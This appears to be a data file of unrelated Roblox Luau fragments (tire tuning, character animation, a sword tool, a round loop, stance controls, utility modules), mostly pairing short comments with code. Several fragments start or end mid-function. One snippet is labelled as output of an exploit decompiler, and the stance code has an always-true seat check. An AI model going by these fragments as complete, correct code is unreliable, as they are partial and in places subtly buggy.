RWearSpeed = .6 , --Don't change this
RTargetFriction = .93 , -- .88 to .93
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _SemiSlicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .5 , --Don't change this
FTargetFriction = .78 , -- .73 to .78
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .5 , --Don't change this
RTargetFriction = .78 , -- .73 to .78
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllTerrain = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 , --Don't change this
FTargetFriction = .5 , -- .48 to .53
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .3 , --Don't change this
RTargetFriction = .5 , -- .48 to .53
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 10 , --Don't change this
RFrictionWeight = 10 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _DragRadials = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 30 , --Don't change this
FTargetFriction = 1.2 , -- 1.18 to 1.23
FMinFriction = 0.35 , --Don't change this
RWearSpeed = 30 , --Don't change this
RTargetFriction = 1.2 , -- 1.18 to 1.23
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 1 , --Don't change this
RFrictionWeight = 1 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 20 , --Don't change this
}
local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason
if _Select == "DragRadials" then
_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
_WHEELTUNE = _SemiSlicks
else
_WHEELTUNE = _AllSeason
end
car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight
car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight
car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
|
------------------
------------------
|
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Zombie")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = -3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = -desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--[[local function VisualizeRay(ray,RayLength)
local RayCast = Instance.new("Part")
RayCast.Material = Enum.Material.Neon
RayCast.Color = Color3.new(0,1,0)
RayCast.Size = Vector3.new(0.2,0.2,(RayLength or 5))
RayCast.CFrame = CFrame.new(ray.Origin, ray.Origin+ray.Direction) * CFrame.new(0, 0, -(RayLength or 5) / 2)
RayCast.Anchored = true
RayCast.CanCollide = false
RayCast.Parent = workspace
Debris:AddItem(RayCast,0.5)
end]]
|
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(GetChildren(humanoid)) do
if IsA(v,"ObjectValue") and v.Name == "creator" then
Destroy(v)
end
end
end
local Player, Character, Humanoid
local Seed = Random.new(tick())
local Hit_WhiteList = {}
function Touched(hit)
if not hit or not hit.Parent then return end
Hit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag)
--Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits)
local DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 )
local part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true)
--warn((part and "Part in range") or "Part not in range")
--assert(part, "Part not in range: Potential exploit")
if part ~= hit then return end -- Potential exploiter may be abusing the touched events
local FF, Hum = FindFirstChildOfClass(hit.Parent, "ForceField"), FindFirstChildOfClass(hit.Parent, "Humanoid")
if FF or not Hum or Hum == Humanoid or Hum.Health <= 0 then return end --Don't hit yourself or anyone with a ForceField now..
if IsTeamMate(Player, Players:GetPlayerFromCharacter(Hum.Parent)) then return end
if Properties.Special then
Properties.Special = false
pcall(function()
--Handle["Sparkle_Large_Blue"].Enabled = false
Handle["Sparkle_Large_Blue"].Rate = Handle["Sparkle_Large_Blue"].Rate * 8
end)
local Constellation_Link = Clone(WaitForChild(script, "Constellation_Link"))
local Val = Instance.new("ObjectValue")
Val.Name = "HandleRef"
Val.Value = Handle
Val.Parent = Constellation_Link
Val = Instance.new("ObjectValue")
Val.Name = "Creator"
Val.Value = Player
Val.Parent = Constellation_Link
Val = Instance.new("ObjectValue")
Val.Name = "InitialTarget"
Val.Value = Hum
Val.Parent = Constellation_Link
Constellation_Link.Parent = ServerScriptService
Constellation_Link.Disabled = false
Constellation_Link.AncestryChanged:Connect(function(obj, parent)
if parent then return end
if obj ~= Constellation_Link then return end
print("Reloading...")
pcall(function()
Handle["Sparkle_Large_Blue"].Enabled = false
Handle["Sparkle_Large_Blue"].Rate = Handle["Sparkle_Large_Blue"].Rate / 8
end)
delay(Properties.Special_Reload, function()
pcall(function()
Handle["Sparkle_Large_Blue"].Enabled = true
end)
Properties.Special = true
end)
end)
end
UntagHumanoid(Hum)
TagHumanoid(Hum, Player)
local Damage = Seed:NextNumber(Properties["DamageValues"][Properties.DamageMode].Min, Properties["DamageValues"][Properties.DamageMode].Max)
Hum:TakeDamage(Damage)
if Hum.Health <= 0 then
--Finisher activated!
local Finisher = Clone(WaitForChild(script, "Finisher"))
Finisher.Parent = Hum.Parent
Finisher.Disabled = false
end
end
local LastAttack = tick()
function Activated()
if not Tool.Enabled then return end
Tool.Enabled = false
local CurrentTime = tick()
if (CurrentTime - LastAttack) <= 0.2 then
for _,v in pairs(GetChildren(Handle)) do
if v and IsA(v, "ParticleEmitter") then
coroutine.wrap(function()
local x = 0
repeat
local delta = RunService.Heartbeat:Wait()
x = x + delta
v:Emit((v.Enabled and math.ceil(v.Rate * .25)) or 0)
until x >= .5
end)()
end
end
Sounds.Lunge:Play()
Tool.Grip = DefaultGrip.Value * CFrame.Angles(math.rad(90),0,0)
local LungeAnim = Instance.new("StringValue")
LungeAnim.Name = "toolanim"
LungeAnim.Value = "Lunge"
LungeAnim.Parent = Tool
--Lunge
Properties.DamageMode = "Lunge" --Should allow the sword to deal more damage while lunging
--print("Lunge")
wait(.5)
Properties.DamageMode = "Normal"
Tool.Grip = DefaultGrip.Value
wait(.5)
else
--Slash
Sounds.Slash.TimePosition = Sounds.Slash.TimeLength/2
Sounds.Slash:Play()
local SwingAnim = Instance.new("StringValue")
SwingAnim.Name = "toolanim"
SwingAnim.Value = "Slash"
SwingAnim.Parent = Tool
--print("Swing")
end
LastAttack = CurrentTime
Tool.Enabled = true
end
local Events = {}
function Equipped()
Character = Tool.Parent
if not Character then return end
Humanoid = FindFirstChildOfClass(Character, "Humanoid")
if not Humanoid or Humanoid.Health <= 0 then return end
Sounds.Equip:Play()
Player = Players:GetPlayerFromCharacter(Character)
if Player then
Events[#Events+1] = Player.CharacterRemoving:Connect(Unequipped) --To keep some things from breaking
end
Events[#Events+1] = Handle.Touched:Connect(Touched)
Events[#Events+1] = Tool.Activated:Connect(Activated)
Events[#Events+1] = Humanoid.Died:Connect(Unequipped)
Humanoid.WalkSpeed = Properties.SpeedCap
Events[#Events+1] = Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
if not Humanoid then return end
Humanoid.WalkSpeed = Properties.SpeedCap
end)
end
function Unequipped()
for i=1,#Events,1 do
if Events[i] then
Events[i]:Disconnect()
end
end
Events = {}
if Humanoid then
Humanoid.WalkSpeed = 16
end
end
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
|
-- 1 Minute Roblox
|
ServerStorage = game:GetService("ServerStorage")
ReplicatedStorage = game:GetService("ReplicatedStorage")
Players = game:GetService("Players")
Maps = ServerStorage:WaitForChild('Maps'):GetChildren()
Status = ReplicatedStorage:WaitForChild('Status')
while true do
--Intermission
local Countdown = 20 -- ten second intermission, make this as long as you want
repeat wait(1)
Countdown = Countdown - 1
Status.Value = 'Intermission : '..Countdown
until Countdown <= 0
--Choose the map.
Status.Value = 'Choosing Map.'
local ChosenMap = Maps[math.random(1, #Maps)]:Clone()
local Spawns = ChosenMap:FindFirstChild('Spawns'):GetChildren()
local RandomSpawn = Spawns[math.random(1, #Spawns)]
wait(5) -- little pause, make this as long as you want
ChosenMap.Parent = workspace
Status.Value = 'Map chosen, teleporting players.'
wait(2) -- little pause, make this as long as you want
--teleport the players
for _, Player in pairs(Players:GetChildren())do
if Player.Character and Player.Character:FindFirstChild('Humanoid') then
Player.Character.HumanoidRootPart.CFrame = RandomSpawn.CFrame
end
end
Countdown = 5 -- Starting Round In, make this as long as you want
repeat wait(1)
Countdown = Countdown - 1
Status.Value = 'Starting Round in : '..Countdown
until Countdown <= 0
Countdown = 5 -- Game Time, ten seconds so the video isn't long, make this as long as you want.
repeat wait(1)
Countdown = Countdown - 1
Status.Value = 'Ingame : '..Countdown
until Countdown <= 0
--Kill the players
for _, Player in pairs(Players:GetChildren())do
if Player.Character and Player.Character:FindFirstChild('Humanoid') then
Player.Character.Humanoid:TakeDamage(2000)
end
end
ChosenMap:Destroy()
Status.Value = 'Round Ended, waiting for new game.'
wait(4) -- little pause, make this as long as you want.
end
|
--[[
tweenJoint Function Parameters:
Object Joint - This has to be a weld with a C0 and C1 property
CFrame newC0 - This is what the new C0 of the weld will be. You can put nil if you don't want to effect the C0
CFrame newC1 - This is what the new C1 of the weld will be. You can put nil if you don't want to effect the C1
function Alpha - This is an alpha function that takes an input parameter of a number between 0 and 90 and returns a number between 0 and 1.
For example, function(X) return math.sin(math.rad(X)) end
float Duration - This is how long the tweening takes to complete
--]]
|
local RS = game:GetService("RunService")
local Proned2
Rendido.Changed:Connect(function()
Stance:FireServer(Stances,Virar,Rendido.Value)
end)
Algemado.Changed:Connect(function()
Stance:FireServer(Stances,Virar,Rendido.Value)
end)
function Stand()
Stance:FireServer(Stances,Virar,Rendido.Value)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()
if Steady then
Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value
Humanoid.JumpPower = ServerConfig.JumpPower
else
if Ferido.Value == false then
Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value
Humanoid.JumpPower = ServerConfig.JumpPower
else
Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value
Humanoid.JumpPower = ServerConfig.JumpPower
end
end
IsStanced = false
Proned2 = Vector3.new(0,0,0)
end
function Crouch()
Stance:FireServer(Stances,Virar,Rendido.Value)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()
Humanoid.WalkSpeed = ServerConfig.CrouchWalkSpeed * StancesPasta.Mobility.Value
Humanoid.JumpPower = 0
IsStanced = true
Proned2 = Vector3.new(0,0,0)
end
function Prone()
Stance:FireServer(Stances,Virar,Rendido.Value)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()
if Rendido.Value == true then
Humanoid.WalkSpeed = 0
else
Humanoid.WalkSpeed = ServerConfig.ProneWalksSpeed * StancesPasta.Mobility.Value
end
Humanoid.JumpPower = 0
IsStanced = true
Proned2 = Vector3.new(0,0.5,0.5)
end
function Lean()
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,0)} ):Play()
Stance:FireServer(Stances,Virar,Rendido.Value)
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if not gameProcessed then
if input.KeyCode == Enum.KeyCode.C and Stances == 0 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then
Stances = 1
--CameraX = 0
CameraY = -1
Poses.Levantado.Visible = false
Poses.Agaixado.Visible = true
Poses.Deitado.Visible = false
Crouch()
_G.Crouched = true
elseif input.KeyCode == Enum.KeyCode.C and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and not _G.Lean and not Sentado then
Stances = 2
CameraX = 0
CameraY = -3.25
Virar = 0
Poses.Levantado.Visible = false
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = true
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
Lean()
Prone()
_G.Crouched = false
_G.Proned = true
elseif input.KeyCode == Enum.KeyCode.X and Stances == 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then
_G.Crouched = true
_G.Proned = false
Stances = 1
--CameraX = 0
CameraY = -1
Poses.Levantado.Visible = false
Poses.Agaixado.Visible = true
Poses.Deitado.Visible = false
Crouch()
elseif input.KeyCode == Enum.KeyCode.X and Stances == 1 and ChangeStance and Caido.Value == false and Correndo.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado then
_G.Crouched = false
Stances = 0
--CameraX = 0
CameraY = 0
Poses.Levantado.Visible = true
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = false
Stand()
elseif input.KeyCode == Enum.KeyCode.Z and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false then
if not Steady then
Steady = true
Poses.Steady.Visible = true
if Stances == 0 then
Stand()
Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value
end
else
Steady = false
Poses.Steady.Visible = false
if Stances == 0 then
Stand()
Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value
end
end
elseif input.KeyCode == Enum.KeyCode.E and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false and not _G.Lean and CanLean then
if Virar == 0 or Virar == -1 then
Virar = 1
CameraX = 1.75
Poses.Esg_Right.Visible = true
Poses.Esg_Left.Visible = false
else
Virar = 0
CameraX = 0
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
end
Lean()
elseif input.KeyCode == Enum.KeyCode.Q and Stances ~= 2 and ChangeStance and Caido.Value == false and Correndo.Value == false and rodeath.Value == false and not _G.Lean and CanLean then
if Virar == 0 or Virar == 1 then
Virar = -1
CameraX = -1.75
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = true
else
Virar = 0
CameraX = 0
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
end
Lean()
elseif input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == false and Ferido.Value == false and Caido.Value == false and Rappeling.Value == false and rodeath.Value == false and not _G.Lean and not Sentado and not cansado then
if Velocidade > 0 then
ChangeStance = false
Correndo.Value = true
--Steady = false
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
Poses.Levantado.Visible = true
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = false
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
Humanoid.WalkSpeed = ServerConfig.RunWalkSpeed * StancesPasta.Mobility.Value
end
end
end
end)
UserInputService.InputEnded:Connect(function(input, gameProcessed)
if not gameProcessed then
if input.KeyCode == Enum.KeyCode.LeftShift and Correndo.Value == true and not _G.Lean then
ChangeStance = true
Correndo.Value = false
if Steady then
Humanoid.WalkSpeed = ServerConfig.SlowPaceWalkSpeed * StancesPasta.Mobility.Value
Poses.Steady.Visible = true
else
Humanoid.WalkSpeed = ServerConfig.NormalWalkSpeed * StancesPasta.Mobility.Value
Poses.Steady.Visible = false
end
end
end
end)
Stand()
Humanoid.Died:Connect(function()
TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
ChangeStance = false
Main.Visible = false
end)
Humanoid.Seated:Connect(function(IsSeated)
local Seat = Humanoid.SeatPart
if IsSeated then
Sentado = true
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
Poses.Levantado.Visible = true
Poses.Agaixado.Visible = false
Poses.Deitado.Visible = false
Poses.Esg_Right.Visible = false
Poses.Esg_Left.Visible = false
if Seat:IsA("VehicleSeat") or ("Seat") then
CanLean = false
end
else
Sentado = false
CanLean = true
end
end)
Humanoid.Running:Connect(function(Speed)
|
--[=[
Event fires when the spring value changes
@prop Changed Signal<()> -- Fires whenever the spring initially changes state
@within ValueObject
]=]
|
self._maid:GiveTask(self.Changed)
if target then
self.Target = target
else
self:_getSpringForType(0)
end
if speed then
self.Speed = speed
end
if damper then
self.Damper = damper
end
return self
end
|
-- Model name
|
print("BlackeyeI's Spotlight Loaded")
|
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
|
Tune.FCamber = -5
Tune.RCamber = -5
Tune.FToe = 0
Tune.RToe = 0
|
--[=[
Merges the existing brio value with the other brio
@param brio Brio<{T}>
@param otherBrio Brio<{U}>
@return Brio<{T | U}>
]=]
|
function BrioUtils.merge(brio, otherBrio)
assert(Brio.isBrio(brio), "Not a brio")
assert(Brio.isBrio(otherBrio), "Not a brio")
if brio:IsDead() or otherBrio:IsDead() then
return Brio.DEAD
end
local values = brio._values
local current = {}
for i=1, values.n do
current[i] = values[i]
end
local otherValues = otherBrio._values
for i=1, otherValues.n do
current[values.n+i] = otherValues[i]
end
local maid = Maid.new()
local newBrio = Brio.new(unpack(current, 1, values.n + otherValues.n))
maid:GiveTask(brio:GetDiedSignal():Connect(function()
newBrio:Kill()
end))
maid:GiveTask(otherBrio:GetDiedSignal():Connect(function()
newBrio:Kill()
end))
maid:GiveTask(newBrio:GetDiedSignal():Connect(function()
maid:DoCleaning()
end))
return newBrio
end
return BrioUtils
|
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
return function(p1, p2, ...)
local v1 = ...;
p1.title.Text = v1;
u1.Shared.ApplyRarityColor(p1.title.back, v1);
end;
|
-- initiate
|
repeat local success = pcall(function() StarterGui:SetCore("TopbarEnabled", false) end) wait() until success
for _, v in pairs(StarterGui:GetChildren()) do
v:Clone().Parent = PLAYER_GUI
end
CAMERA.CameraType = Enum.CameraType.Scriptable
CAMERA.CFrame = CFrame.new(0, 0, 100)
|
--CastBehavior.Acceleration = BULLET_GRAVITY
|
CastBehavior.AutoIgnoreContainer = false -- We already do this! We don't need the default value of true (see the bottom of this script)
|
-- Color shortcuts: you can use these strings instead of defining exact color values
|
local colors = {}
colors.White = Color3.new(1, 1, 1)
colors.Black = Color3.new(0, 0, 0)
colors.Red = Color3.new(1, 0.2, 0.2)
colors.Green = Color3.new(0.2, 1, 0.2)
colors.Blue = Color3.new(0.2, 0.2, 1)
|
-----------------
--| Constants |--
-----------------
|
local COOLDOWN = 4 -- Seconds until tool can be used again
|
-- NOTICE: Player property names do not all match their StarterPlayer equivalents,
-- with the differences noted in the comments on the right
|
local PLAYER_CAMERA_PROPERTIES =
{
"CameraMinZoomDistance",
"CameraMaxZoomDistance",
"CameraMode",
"DevCameraOcclusionMode",
"DevComputerCameraMode", -- Corresponds to StarterPlayer.DevComputerCameraMovementMode
"DevTouchCameraMode", -- Corresponds to StarterPlayer.DevTouchCameraMovementMode
-- Character movement mode
"DevComputerMovementMode",
"DevTouchMovementMode",
"DevEnableMouseLock", -- Corresponds to StarterPlayer.EnableMouseLockOption
}
local USER_GAME_SETTINGS_PROPERTIES =
{
"ComputerCameraMovementMode",
"ComputerMovementMode",
"ControlMode",
"GamepadCameraSensitivity",
"MouseSensitivity",
"RotationType",
"TouchCameraMovementMode",
"TouchMovementMode",
}
|
-- ================================================================================
-- FUNCTIONS
-- ================================================================================
-- Heartbeat
|
function PhysicsUpdate(step)
if dead then
physicsUpdateHandle:Disconnect()
if character ~= nil then
character:Destroy()
end
PlayerConverter:UnlockPlayerControls()
end
GetInput(step)
engine:Update()
guiController:UpdateSpeed()
-- Update boost GUI
